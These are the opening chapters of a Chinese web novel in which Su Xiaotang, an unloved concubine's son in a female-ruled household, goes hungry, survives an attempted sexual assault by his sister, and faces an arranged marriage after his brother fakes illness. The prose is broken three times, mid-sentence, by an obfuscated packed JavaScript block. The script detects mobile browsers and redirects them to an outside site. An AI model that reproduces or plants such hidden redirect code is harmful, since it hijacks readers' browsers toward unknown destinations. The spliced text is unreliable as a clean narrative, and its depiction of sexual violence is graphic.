《错上花轿嫁对妻(女尊)》 1. 爆炸 嘭——! 后院传来一声冲天巨响,啵地震破了李公公的鼻涕泡。他瞬间惊醒,浑身一抖,险些从摇椅上摔下来,一骨碌爬起就往后院跑。 火光冲天,滚滚浓烟下站着个灰头土脸的人影,正手忙脚乱地抱着唧筒从水缸中抽水灭火。李公公顿时一个头两个大,嚎道:“哎呦祖宗,这都什么时候了,还不快过来,要是燎着了脸,以后可得怎么嫁出去呀!” 二公子也就一张脸拿得出手了,要是有个磕着碰着,嫁不出去,他老头子将来入土,都没脸见故去多年的风郎君。 苏小糖只好扔了唧筒,屁颠屁颠回到李公公身边。 李公公正叫人来救火,回身一看苏小糖,见他一张雪白的小脸上沾着点黑灰,颈间的纱巾也脏兮兮的,鼻头倒是白腻,一搓便扑簌簌掉了些粉下来,露出了底下暖玉似的肤色。 “哎呦我的公子,你这又是做什么去了?”李公公嗔怪道。 “公公,我刚发明了一样可以自动擀面的东西!” 苏小糖脸虽脏,可一双大眼睛乌黑溜圆,闪烁着兴奋的光芒。他兴致勃勃比划道:“喏,只要把擀面杖固定在小驴崽儿身上,再用竹竿将胡萝卜吊在它面前,让它跑起来,它就可以自己擀面啦!” “哎呦祖宗,这哪儿是你发明的呀?平头百姓磨面,不都是这样的吗?”李公公哭笑不得,“那怎么就走水了呢?” 苏小糖一听早有人研究出了他苦思冥想多时的东西,瞬间蔫巴了,闷声闷气道:“那驴崽儿的尾巴不知打哪儿擦着了火星,就爆炸——哎!小心着点儿!别碰着我的盐水!” 眼见小厮打开瓦缸要抽水,甫一开盖,却被里头乌漆嘛黑的墨汁熏得倒退两步,急得苏小糖提着裙摆噔噔噔就下阶去了。 他平时胡闹,李公公一向由着他,还帮他瞒着家主和主父。可这回捅出这么大的娄子,纵使李公公有心维护他,也再护不住了。 苏小糖怯怯地站在下首,那男子正拈针绣花,见了他自是不悦,道:“今日的安不是请过了?” 一旁便有下人将来龙去脉一五一十地交代了。 眼见嫡父眉头越皱越深,斜向他的目光愈发不善,苏小糖心中害怕,怯怯道:“父亲……” “哼,你都差点儿把苏府炸了,这么大能耐,我可不敢担你一声‘父亲’——宜宜怎么来了?” 辛雅宁正挖苦他,余光突然瞧见一道纤细身影款款而来,霎时多云转晴,柔声向那人问道。 来的不是旁人,正是他独子,苏家的嫡长男,苏宜宜。 “爹爹何故动怒?风郎君走得早,小糖无人管教,性子虽野了些,却也质朴可爱。不管小糖犯了什么错,看在风郎君的面子上,还望爹爹宽容一二。” 苏宜宜有一把好嗓子,莺啼婉转,柔声细语,在场下人无一不暗叹他善待庶弟,却听得辛雅宁面色愈发阴沉。 苏宜宜不过两三岁时,生了场大病,连日高烧,何其凶险。他忙于给幼子请医师抓药,疏忽了妻主,明知她日日流连花楼,却只能睁一只眼闭一只眼。 岂料那日深夜,她从花楼归来,还命人抬着顶小轿,从侧门进来了。 竟是问也未曾问过他这个正夫。 风沁是异族人,生得健壮,浓眉大眼,小麦肤色,与柳亸花娇的天元男子截然不同。辛雅宁委屈愤恨之余,怎么也想不到妻主竟会喜爱如此不女不男的异族人。 千人骑万人睡的贱屌,也不知道在那种肮脏地方有没有染上花柳病,万一传染给妻主…… 故而苏宜宜一口一个“风郎君”,表面上是请父亲看在故去的庶父的面子上饶庶弟一回,实则处处戳他父亲痛处。 如此一来,就算辛雅宁原本无意重罚,这会子也被激得非要让苏小糖吃些皮肉之苦不可了。 “哼,既如此……”辛雅宁从鼻子里冷冷哼出一声,上下打量起苏小糖,见他身似铁塔、宽肩窄腰,像极了风沁,更觉厌烦,“那便三日不许吃饭,长得这般魁梧,像什么样!饿上一饿,想来也没力气胡作非为了。” 苏小糖蔫蔫地回到了自己的院落。 惩罚从今天晚上开始……苏小糖掰着手指头数数。 那他得等到大后日的晚上才能吃饭! 这么一想,他便浑身脱力,趴在院中的石桌上叹气。 已经开始感觉饿了……他想吃东西,想大口大口吃肉,想吃外酥里嫩的臭豆腐,想吃鲜香刮辣的螺蛳粉,呜呜。 苏小糖从小吃的就多,旁的男子一餐吃一碗米饭都勉强,他却能连吃三大碗米饭。十五六岁时,身高已能赶上同龄女子,看得他母亲直叹气,说不能让他再长高了,便削减了他院中的份例。 于是苏小糖每顿只能吃一碗半米饭,望着满桌绿色欲哭无泪。 他已经很久没有吃饱过了,若非如此,也不会自己钻研起吃食来,更不会梦想被赶出苏府后开一家食摊。 日暮西沉,苏小糖肚子一阵接一阵地打鼓。他恹恹地爬起来,正欲往卧房去,鼻尖却不自觉耸动,敏锐地捕捉到一阵甜香。 回身一瞧,原来是李公公提着一屉食盒,偷偷摸摸地进来了。 李公公左右张望一阵,确认一路上都没人瞧见后,小心翼翼合上院门。转头见苏小糖正眼巴巴望过来,他一张老脸上顿时绽开了菊花笑,轻声招呼道:“二公子,还愣着做什么呢?快过来吃吧。” 苏小糖小小地欢呼一声,冲过去,拉开食盒,见是一笼热气腾腾的馒头,刚要伸手去拿,却被李公公拍掉手,“先净手!这么毛毛躁躁的,哪有个男孩儿样。” 他委屈地瘪瘪嘴,却还是听话去净了手,回来一手拿着一个馒头,狼吞虎咽地啃。 “慢点吃啊,不着急,没人跟你抢。”李公公慈爱地看着他,仿佛看见了当年的风沁。 苏傲霜把风沁接回府中后,就将自己的乳父李公公指派给他。起先李公公也不解他为何能讨家主欢心,令她不惜折损名声也要把人接回来——比起凶莽如兽的风沁,自是仪静体闲的辛雅宁更配得上苏傲霜。 但久而久之他发现,风沁虽然面目凶恶,心地却意外的良善: 半夜腹中饥饿,他不愿劳动已睡下的厨郎,便忍到第二天用早膳; 见仆从偷空儿给心上人绣香囊,他也不曾怪罪,反而向其讨教,最后绣了对野鸭子似的鸳鸯荷包献给家主,弄得家主哭笑不得; 被主父刁难,也只是默默忍耐,根本不懂得在家主那儿吹些枕边风,率真得着实有些可爱。 只可惜风沁蓝颜命薄,不知怎的就生了场大病,撒手人寰。苏小糖日渐长大,眉眼间与风沁太过相似,苏傲霜怕自己睹子思人、徒增伤心,慢慢地也不再来看望他。 想到风沁,李公公不觉叹了口气,喃喃道:“小糖啊,你这整天胡闹,什么样的妻家才受得住你?要是你没个好归宿,唉……” “公公,我不想嫁人。”苏小糖腮帮子塞得鼓鼓的,含糊不清道。 三个馒头眨眼间就全下了肚,却也只是勉强半饱。李公公很了解他的食量,特意只拿了三个馒头,不叫他吃饱。 “你这孩子,怎么说话的呢?”李公公轻轻地拧了一下他的耳朵,“男子都是要嫁人的,哪儿由得你想不想。” 而且有妻家庇佑,说不定再也不用受主父和大公子的气。他吃过的盐比这些年轻人吃过的饭都多,今日苏宜宜那番话他也听在耳里,又怎能不明白那人清秀外表下,藏的究竟是怎样一副蛇蝎心肠。 都是主父上梁不正下梁歪,把好好的孩子教坏了。 “那嫁人之后,能吃饱吗?”苏小糖眨巴眨巴水汪汪的大眼睛。 他真的好想吃一顿饱饭啊。 “吃吃吃,就知道吃。”李公公抬手敲了他一记暴栗,把苏小糖眼泪都敲出来了,“日前让你读的《男诫》,可都读熟了?” “没有……”苏小糖弱弱道。 他一看到密密麻麻的字就犯困,哪里还看得进去。 “这样可不行啊……”李公公忧心忡忡,“万一你将来的妻主喜欢吟诗作对,与你花前月下,你却答不上来,惹她不快,又怎么拴得住她的心?” 他虽埋怨主父将家主的孩子教得歪了根,心里却明白他也是个苦命人,没本事拴住妻主的心。 苏傲霜喜欢的是风沁那样的,辛雅宁只是遵母父之命娶进来的,谈不上喜不喜爱,能相敬如宾就已经很好。 苏小糖将李公公的话听进去了,垂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368437|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋回房点上灯读书,直至亥时,李公公才来劝他早些睡下,莫要还没出嫁就熬成了黄脸公。 …… 翌日苏小糖起了个大早,用过李公公准备的清粥小菜后,照旧跟绣郎学刺绣。 才绣了两针,苏小糖就觉得无趣,偏生这回来教他的绣郎极严厉,非要他坐够一个时辰才肯让他休息。 苏小糖人虽然在榻上坐着,心却早已飞到窗外去了—— 无她,檐下站着两个小厮,正窃窃私语道:“京中近来的新鲜事,你可曾听说了?” “不曾,前阵子韩郎君允我回家探亲,我昨日才归呢。你都听了些什么?快快说与我听。” “瑞王殿下凯旋回京,陛下不日便要为其指婚。她如今也二十有二,放在寻常人家,早该娶夫生子,只是这些年因战事耽搁了。” “那敢情好,听说瑞王殿下相貌堂堂、英武不凡呢,陛下想把哪家公子指给她?” “嗐,别提了。昨儿宫宴,有个舞郎给她敬酒,她却把人家一脚踢飞出去,说他一笑,脸上厚厚的香粉就扑簌簌往下掉,弄脏了她的袖子,嫌弃得她一晚上换了三次衣服。这么龟毛,哪家公子愿意嫁给她?” “啊呀,这么吓人?就为着这点小事把人踢飞,这脾性也怪可怕的。” “那可不。听说她归京那日,骑在高头大马上,满身的血哪,也没见她急着去沐浴更衣,怎么一丁点香粉就叫她见了鬼似的?” 手中穿针引线的动作不知不觉慢下来,苏小糖听着,不由缩了缩肩膀—— 被踹一脚肯定很疼,而且那舞郎还是被踢飞了出去,焉知还有没有命在。 这瑞王这么凶戾,也不知将来哪家男子倒了大霉要嫁给她。 苏小糖不是没有想象过自己未来的妻主:双肩宽阔,孔武有力,皮肤晒得黝黑,会向他伸出宽厚温暖的手,露出明朗温和的笑容。 最重要的是能让他顿顿吃饱,红烧肉炖猪肘他不敢奢望,稍微见点荤腥他就心满意足了。 而且听说屁股翘的男子好生养……苏小糖不觉羞红了脸。 三妹妹经常说他腰细屁股翘,虽然那眼神总叫他不大舒服,但姑且就算她是在夸奖自己吧。 要是妻主能让他吃得饱饱的,那他当然也该投桃报李,为妻主生几个大胖女儿。 苏小糖这厢正想入非非,那厢绣郎一瞧他满面红晕,自是明白怎么回事,当即起身开窗,向那两位小厮斥道:“天家之事,岂容尔等非议?待我禀报主父,将你们赶出府,到时候有的是你们议论的!” 吓得那两人忙作鸟兽散。 绣郎冷哼一声,关上窗,回身见苏小糖也赶忙正襟危坐,满脸严肃地绣起野鸡来,反而缓和了神色,道:“二公子年纪也不小了,说不准哪日便要出阁,届时还需自己绣嫁衣,莫要再贪玩。” 苏小糖一头雾水,委屈道:“我没贪玩。” 说罢,还朝绣郎扬了扬手里的绣棚。 绣郎皱眉:“那二公子为何要绣一只野鸡?” “野鸡”这个词深深地打击到了苏小糖。他半张着嘴,低头瞅瞅绣棚,又抬头看向绣郎,欲哭无泪道:“我绣的是凤凰……” 绣郎:“……” 在绣活儿上这般笨拙的,他这辈子只见过两个,一位是当年的风郎君,另一位就是面前的苏小糖。 两人真不愧是父子。 一上午的学习终于结束。因着还在受罚,厨房根本不会给苏小糖准备饭菜,他饿得头晕眼花,好在李公公又给他送来三个馒头,这才解了燃眉之急。 虽然还是很饿……苏小糖躺在床上,抚着瘪瘪的肚皮叹气。 感觉腰都细了一圈。怪不得大哥每餐只吃半碗饭,原来真的可以瘦身。 好在下午只需要坐着读书,李公公也不能总守着他,那他就可以逮着空打个盹…… “啊!谁?!” 正昏昏欲睡之际,腰上突然摸来一双手,箍着他往后狠狠一撞,苏小糖的身体便落入一个滚烫的怀抱中。 苏小糖惊慌失措,奋力挣扎,却被身后那人一手制住双手,高举过头顶,另一只手向他天鹅般修长的脖颈上摸来—— 一把扯掉了他颈间的轻罗。 2. 强迫 颈间一凉,苏小糖瞬间面色惨白,双手赶紧去捂喉结,哭叫道:“不、不要,求求你……” “二哥哥叫这么大声,是想把大家都招来,好看看你是如何不知廉耻,勾引自己的亲妹妹吗?” 熟悉的嗓音令苏小糖浑身一僵。 他怔怔回头,就见一张急色的脸狞笑着向他胸前伸出手来。 嘶啦一声,苏小糖的外衣便被撕裂,露出了底下水红色的肚兜,以及轻薄布料上被顶出的两颗尖尖。 苏玉堂一瞧那凝脂似的白嫩肌肤,顿时眼都直了,刚想上手亵玩,却听得苏小糖哭闹不休,既兴奋,又恐当真引来旁人,当即一巴掌重重扇在他脸上,“骚货,还不住嘴!” 她丝毫不曾怜香惜玉,这一巴掌用了十成十的力道,打得苏小糖头都偏过去,白皙面颊高高肿起,嘴唇磕在贝齿上,划出一道汩汩流血的口子,涂了胭脂一样艳。 苏小糖被扇得眼冒金星,疼痛不已,嘴里的呜咽声霎时小了。俯视着身下人的饱受欺凌的惨状,苏玉堂更觉亢奋,正要去扒他的亵裤—— 啪嚓! 一阵清脆的瓷器破裂声。 苏小糖吃力地推倒床边小几,置于小几上的琉璃灯坠地而碎。院中洒扫的小厮闻声而来,推开门,疑惑道:“二公——” 话音未落,便惊异地止住——小厮不知所措地望着房中交叠的二人。 “救救我!”苏小糖含着泪凄厉地喊道。 “李公公!”小厮吓得扭头就跑,高呼道。 李公公闻声匆匆赶来,与那小厮一道拉开苏玉堂,为瑟瑟发抖的苏小糖披上外衣,这才怒视着苏玉堂斥道:“三姑娘做出这种忤逆人伦之事,怎么对得起家主和韩郎君?!” 眼见到手的肥肉飞走,苏玉堂欲求不满,本就怒火中烧,奈何李公公是母亲的乳父,不看僧面也得看佛面,故而只得强行按捺下欲|火,浑不在意道:“那公公就如实禀报母亲呗。” 反正她是母亲唯一的女儿,莫说区区一个苏小糖,以后整个苏家都是她的,她有什么好怕的。 一刻钟后,众人齐聚厅中。 坐在上首的苏傲霜一见苏小糖红肿泛光的脸,便不忍地别开目光,严厉地扫向苏玉堂——“你干的?” 尽管苏玉堂已为自己做过充分的心理建设,但苏傲霜宦海沉浮数年,官至三品,伴君已久,何等威势,又岂是她能承受住的。仅仅一眼便叫她两股战战,仓皇跪下,辩解道:“母亲明察!是二哥在我面前宽衣解带,女儿午间又小饮一盅,辨不清人,这才将他看成了我房中的小侍……” 韩卉见状,也慌忙跪下,道:“玉儿素日的品性,您再清楚不过,又怎会做出那等不伦之事!定是苏小糖不知羞耻,勾引不成,便要叫玉儿身败名裂……” “你胡说!”苏小糖气得浑身都在发抖,“三妹妹,我何时在你面前宽衣解带过?倒是你,青天白日跑来我院中,将我、将我……” 他一回想刚才被身强力壮的苏玉堂压在床上,叫天天不灵、叫地地不应,裹缠喉结的纱巾被撕碎,身子都被她看光,就心生绝望,害怕得直哭。 “都住嘴!” 苏玉堂觑着母亲脸色,见势不对,还要狡辩,却被苏傲霜拍在扶手上的重重一掌震住。 苏傲霜沉声喝道:“苏玉堂,你现在就去祠堂跪下,叫列祖列宗听听你究竟做了何事!” “母亲!”苏玉堂不敢置信,“您怎么能——” 啪! 苏傲霜大步上前,一巴掌便将苏玉堂扇得倒伏在地,居高临下,横眉怒道:“还不快去?” “妻主!玉儿她年纪还小,不过是一时鬼迷心窍——啊!” 韩卉连忙膝行上前,去抱苏傲霜垂在身侧的手,却被她狠狠甩开,“你教子不严,禁足三月,这三月的份例也不必拿了。” 闻言,韩卉跌坐在地,面如死灰,忍不住呜呜哭泣起来。 苏宜宜与辛雅宁旁观全程,一言未发。如今尘埃落定,见苏玉堂被几个婆子拖出去,韩卉啼哭不止,二人面上仍不露声色,心中却暗道一场好戏。 京中议论起男子,总会将同一家的兄弟放在一处比较。若是将苏小糖勾引幼妹、失了贞洁的消息传出去,不就愈发显得苏宜宜冰清玉洁了? 真是一石二鸟的好法子。辛雅宁想得极美,却听正要离开的苏傲霜朝自己这边冷声道:“同气连枝,一荣俱荣,一损俱损。今日之事,莫要走漏半点风声。要是让我在外头听见一丝风吹草动,你便也去跪祠堂吧。” 辛雅宁慌忙福身,“奴知晓了。” …… 回到院中,李公公先着人准备热水替苏小糖沐浴,为他更衣时,视线状若无意擦过光洁平坦的小腹,见那颗殷红的守宫砂依旧完好无损地缀在肌肤上,这才放下心来。 唉,命苦的孩子,爹去得早,娘又不爱。家主今日虽替他讨回了公道,但三姑娘犯下如此大错,最后也只是罚跪祠堂,孰轻孰重,一目了然。 只能盼望着家主替他寻个好人家,嫁出去,早日脱离这龙潭虎穴。 往日苏小糖沐浴不喜叫下人伺候,今日却是怕得狠了,便让一名唤作小绿的小厮为他擦身。 热气氤氲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368438|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,水声泠泠。小绿捏着巾帕,轻轻擦过苏小糖腰间的掌状淤青,心疼道:“公子皮肤生得这样白,稍有点痕迹便这么明显,看着好生吓人。” 家丑不外扬,可小绿便是那时被琉璃碎声引来的小厮。他是下人,不敢妄议主子是非,但心疼心疼自家主子倒也在情理之中。 苏小糖没什么精神,蔫巴巴地趴在浴桶边缘,只说:“一会儿上些药便是了。” 别看他平日一股憨劲儿,真到了要拨云见日之时,又岂会不明白,母亲对三妹妹的处罚,不过是高高拿起、轻轻放下。 同为庶出,只是因为多长了孽根,便要蒙受这许多羞辱…… 他想爹爹了。 苏小糖眼睛酸胀,嘴巴一瘪,又想哭了。 …… 暮春三月,宫里照旧举办了一场赏花宴。 美其名曰是赏花,实则是赏鲜花般美丽的众高门贵男。 苏小糖作为庶子,当然是没资格去的,母亲一向只会带上嫡父和大哥。 好在李公公也跟着进宫去了,韩郎君和三妹妹又在禁足。苏小糖自认是府中老大,没人管他,便往胸前塞了两个馒头,作女装打扮,兴高采烈出门去了。 京中有一酒楼,名为“万钱”——瞧瞧,这名取的,分明已经把“我要赚钱”四个字写在脸上了! 不过,虽大言不惭地取了此名,此处的饭菜,倒当真称得上一句“玉盘珍羞直万钱”。 是以苏小糖用攒了半年的月银当作束脩,拜了楼里一位大厨娘为师。 他把自己的未来规划得很好:既然以后要开食摊,那当然要有厨艺傍身! 但知晓他真实身份的大厨娘可不这么想——“你是富贵人家出身,虽是庶出,但你母亲的官做得那般大,以后定会为你谋一桩好婚事,有妻主养你,何苦来受烟熏火燎?” 一听“妻主”两个字,苏小糖就羞红了脸。他低垂着头,细白手指绞着衣摆,讷讷道:“那还是没影儿的事……是我自己想学。” 他声如蚊蚋,大厨娘非得凑近前去,弯下腰,附到他耳边,才能听清他说了些什么,闻言了然笑道:“这倒是,要想拴住女人的心,就得先拴住女人的胃。你这孩子虽然看着不机灵,却是个高瞻远瞩的,倒是我老婆子眼皮浅了。” 一句话说得苏小糖脸又红上几分,细瓷般白净的小脸像染上了粉彩。 这日申时他回到家,路过主院,却耳尖地听见里头传来尖锐刺耳的哭叫声:“我才不要嫁过去!娘、爹,你们忍心看我入那虎狼之地吗!瑞王殿下生性残暴,指不定哪日,孩儿就要身首异处……” 3. 装病 苏小糖凝神细听半晌,这才勉强辨认出这嗓音竟是苏宜宜的。 他平日里说话细声细气,唱起歌来更是像黄鹂鸟一样悦耳动听——这样嘶哑难听的声音竟也是他发出的,苏小糖诧异万分。 “休要胡言乱语!瑞王殿下岂是会随意打杀夫侍之人?今日那么多双耳朵都听见陛下金口玉言,将你许配给瑞王,你又在此大放厥词,你这是要我为你公然抗旨、为你反了这天下不成?!”苏傲霜不耐烦的声音清晰传出。 “妻主!”紧接着,辛雅宁语带哭腔的嗓音又续上,“宜宜这孩子命苦,三岁那年大病一场,您却不管不问,反而寻花问柳,将风沁那贱人抬进府中!是奴不眠不休地求医问药,这才捡回了他一条命。如今您又要将他送进那等凶险之地,这下说什么奴也不肯!” 啪! 这下苏小糖能听出是巴掌声了。 “爹!”苏宜宜的声音拔远了些,应该是扑了过去,“娘,爹说的可有半句不对?!当年我命悬一线,您却在外头寻欢作乐,还纳了风郎君为侍。是我自己大难不死必有后福,如今难道不该一命换一命,用苏小糖的命,来换我的命?!” 啪!又是一巴掌——“你这是什么歪理?!” 苏傲霜竟然耐心听完了他的话才动手,“瑞王殿下并非世人眼中的那般暴戾,我言尽于此。这婚乃陛下亲赐,你嫁也得嫁,不嫁也得嫁!碧荷!” “小的在。” “把大公子带回房中,看着他。没有我的命令,一步也别想踏出来。” “是。” “娘!你好狠的心……呜呜……”苏宜宜的哭声渐渐远去。 辛雅宁似乎还跟苏傲霜说了些话,但苏小糖怕被走动的下人发现,赶紧溜回了自己的院落,并未听清接下来的内容。 一般有什么好东西,嫡父都先紧着苏宜宜,挑剩下的才有可能落到苏小糖手里。虽然苏小糖不曾见过瑞王,但既然苏宜宜十分抗拒,那日又从檐下闲聊的小厮口中得知她的种种暴行,显而易见,这桩婚事定然不是什么好东西。 他今天在万钱楼里也听食客们说了,那“冷面阎罗”——她们不敢直呼那位的名号,便用这一诨名来替代。 传闻“冷面阎罗”杀人不眨眼、吃人不撒盐,京中压根儿没有哪家名门望族肯把男儿嫁给她——尽管她战功赫赫,归京那日,也有许多男子慕名去看她,去说亲的冰人更是险些把门槛踏平。 但自从她在庆功宴上向舞郎踢出那一脚后,瑞王府瞬间变得门可罗雀。只有一些妄图借着男儿攀上高枝的富商人家贼心不死,依旧请冰人去探听消息。 然而瑞王再如何也是帝子,又岂会看得上那些庸脂俗粉。 “还说人家是庸脂俗粉呢!”说话的显然也是个富商出身,很是激愤,“嫌弃我的男儿,她怎么不撒泡尿照照自己长得什么牛样儿?!” “你当真见过那瑞王的庐山真面目?她归京那日,全身血滋呼啦的怪吓人,也不晓得先沐浴更衣,根本看不清长相。脏了我们的眼也就罢了,可别脏了陛下的眼。” “哼,当然见过!”苏小糖猜这人至少是皇商,否则哪来的资格参加宫宴,一睹瑞王真容,“庆功宴上看得一清二楚!青面獠牙,满脸横肉,凶相毕露!” 四周之人纷纷倒吸一口气,七嘴八舌议论“怎么可能”“以陛下的英姿”“莫非不是陛下亲子”…… 好在这几人包了雅间,声音压得也足够低,苏小糖不过捕捉到只言片语。若坐在大堂里还敢将皇家秘闻堂而皇之地讨论得热火朝天,那这些人恐怕连明天的太阳都见不着了。 其时苏小糖只将这些子虚乌有的东西当作下饭菜,听听也就过去了,如今却好巧不巧,这位凶名在外的殿下摇身一变,竟成了他兄长的未来妻主,真是造化弄人。 然而苏小糖万万没料到的是,真正的造化弄人,还在后头—— “二公子,快起来!”李公公急促地轻唤,“不好了,出大事了!” 像给萝卜套上麻袋一样,苏小糖还睡眼惺忪着就被扯起来套上衣服,被驱赶着匆匆进了辛雅宁和苏宜宜的院落。 昨夜下了一场雨,催动万物生发,草色油润。路面湿滑,苏小糖一路上还险些跌了一跤,幸得小绿手快,及时扶住他。 进入厅中,就见苏玉堂跷着二郎腿,一手撑头,一手把玩着茶盏盖。 苏小糖下意识抖了一抖。 她听见脚步声抬起头来,见是苏小糖,嘴角半扬,露出一抹轻佻又讥诮的笑。 那双唇极小幅度地开开合合,无声吐出几个字,苏小糖辨认出她说的是——“走着瞧”。 她的眼仁浓黑如墨、深不见光,甫一对上,那日险些被侵犯的记忆便控制不住地开闸涌出。苏小糖脸色唰地变得惨白,恐惧得浑身发抖,手臂上汗毛倒竖,后背也冷汗涔涔,几乎是拼命抑制住自己转身逃跑的冲动。 那日被她掌掴的伤,李公公和小绿又是拿鸡蛋敷又是拿三七涂,早已痊愈,然而此刻,脸上却似乎又开始火辣辣地痛。 “无事。”肩上被轻拍两下,苏小糖终于回神,抬头一看,原来是李公公,“你母亲就在里屋,三姑娘她不敢做什么的,进去吧。” 苏小糖点点头,忙不迭绕过影壁跑向后屋。 苏玉堂眯起眼,目送他的背影消失在墙后,笑意未退,愈显贪婪。 可惜,她是女子,不能进男子屋中。女男有别,即使是亲妹子也该避嫌——否则,她就可以亲眼欣赏这场好戏了。 那日她被婆子拖去跪祠堂,苏宜宜和辛雅宁脸上幸灾乐祸的表情,她可是看得一清二楚! 还有苏小糖,哼……她苏玉堂想要的东西,从来就没有得不到的! 床榻前已乌泱泱围了一群人,苏小糖个头高看得远,辨认出其中有他母亲、嫡父和韩郎君,以及几位作医师打扮的女子。 那躺在床上的人就是苏宜宜了。 帷幔拉开,虽然脸依旧被挡在纱帐后,瞧不清,但苏小糖尚能看见颈部以下的身体——床上之人只穿着洁白的里衣,裤脚却满是泥泞和草屑,湿痕遍布整条小腿,就像刚赤足去雨后的庭院中走了一圈似的。 “这夜游之症,可有法子治?”苏小糖见他母亲揉了揉眉心,很是疲惫的样子。 “这……小人也说不准。”那几位医师互相看了几眼,为首那位战战兢兢地抬袖擦掉了额上的汗,“不若先开几服安神的汤药,慢慢调养着,观察一段时日……” “那便这样吧。”辛雅宁用帕子拭着泪,语带哽咽,“红蓼,带她们去开药方。” 房中人一少,苏小糖终于得以看清床上那人的脸,确是苏宜宜无疑,只是面色苍白、眼皮紧闭,两颊还泛起不正常的潮红。 “素日里瞧着倒是康健,怎的一赐婚就患上了夜游之症?”苏傲霜睥睨着垂泪不语的辛雅宁,似笑非笑,“天下竟有如此巧合的事。” “妻主?!” 辛雅宁闻言,怔怔抬头,泪珠还挂在下眼睫上,不可思议地仰视着她,仿佛在看一个陌生人——“宜宜他也是你的亲生骨肉啊!” “正是因为我十月怀胎生下他,我才足够了解他!”苏傲霜虽疾言厉色,眼底却满是失望,“倒是你,叫我愈发看不清了。” 新婚伊始,二人也曾举案齐眉、琴瑟和鸣……如今怎么竟走到这一步。 一旁的韩卉默不作声,竭力降低存在感。三月之期未过,他仍旧被禁足,今日是事出有因,才能出来走动一二。 可苏小糖分明瞧见,他脸上的喜意几乎就要藏不住。 如果母亲与嫡父离心,最有可能被扶为正夫的,当然是与母亲诞下三妹妹的韩郎君。 母亲的小侍不少,但育有子嗣的,也就嫡父和韩郎君两位。 至于已故多年的父亲……若不是与母亲生下了他,恐怕也早已被遗忘。 苏小糖心事重重地回到院中。 “怎么了二公子?”小绿还从未见过他这么沉重的表情。 他还以为,苏小糖成天只知道呲着大牙傻乐,没心没肺,稚童一般——眼下这般作态,倒和家主有几分相似了。 苏小糖叹了口气,“若大哥的病不见好转,这婚事怕是要落到我头上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368439|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好事不出门坏事传千里,瑞王的恶名已传遍整个京城,小绿自然也有所耳闻。他还没来得及跟着叹一口气,就听苏小糖灵机一动,突然说:“不如……我也装病吧?” 小绿:“……”他收回与家主相似那番话。 说干就干,苏小糖当即让人从井里打上一桶桶水,抬进浴房,倒入浴桶中。 天气虽日渐炎热,可井水因深埋于地,愈显沁凉。苏小糖脱了衣服,玉足踏入水中,深吸一气,潜身蹲下,水面便没过头顶,将他整个人包裹在内。 冷,真冷啊。 墨色发丝飘散于水中,藻荇一般。苏小糖冻得齿关战栗,从头到脚都在控制不住地打哆嗦,却拼命抑制想要逃跑的本能。 听觉被钝化,他只能听见外头忽然传来一阵嘈杂声,随后,手臂被握住,一股大力破水而来,拉着他浮出了水面。 绸巾披在身上,眼皮下的眼珠轻轻滚动两下,苏小糖抖掉眼睫上的水珠,睁开眼,就见惴惴不安的小绿和不苟言笑的李公公站在浴桶前。 李公公皱着眉道:“二公子何必如此?圣旨既指了大公子,自然就不可能另选他人,何苦做这种有损己身的事?” 苏小糖这才想起来,李公公虽然照顾自己多时,可终归是母亲的人。今日之事,恐怕还是要传到母亲耳中去了。 他小心翼翼求证道:“当真?” “二公子还是快回去休息吧。”李公公却没有正面回答,只是顾左右而言她。 苏小糖身子骨一向硬朗,许久没生过病,本以为这回要浸上半天的冷水才会染上风寒,岂料才这一会儿功夫,便蜷缩在被中不住发抖,喷嚏连连,头脑发木。 “离大哥的婚期还有几日?”锦被中泻出一捧墨发,苏小糖钻出一颗小脑袋,鼻音浓重地问守在床边的小绿。 他这些日子睡得昏天黑地,早就不知今夕何夕了。 主子患病,下人自然不敢怠慢,轮流值守在床侧,静待吩咐。听他问话,小绿忙回道:“还有三日。” “三日……”苏小糖喃喃,不知为何,总有种不祥的预感,“大哥的病情如何了?” “依旧昏迷着。”小绿答。 病来如山倒,病去如抽丝。又过两日,苏小糖才觉得身上大好了些,晚饭甚至多用了一碗粥。 这粥熬得极烂,米粒炸开,米浆浓稠,掺杂着肉粒,咸淡得宜。温润的米油滑过燥热的喉咙,那股叫人欲咳的痒意便被缓缓抚平了。 苏小糖几日没有下地走动,骨头都躺得发麻,稍一好转就闲不住,便想去偏院看看他制作的盐水如何了。 上次装着盐水的瓦缸被下人灭火时不慎打破了,苏小糖痛定思痛,决定将瓦缸安置在偏僻的荒院中。 这一批盐水是他新制的,算算日子,也差不多到能用的时候了——一想到能用这盐水做出何等令味蕾酥麻的美食,苏小糖就激动得止不住原地转圈。 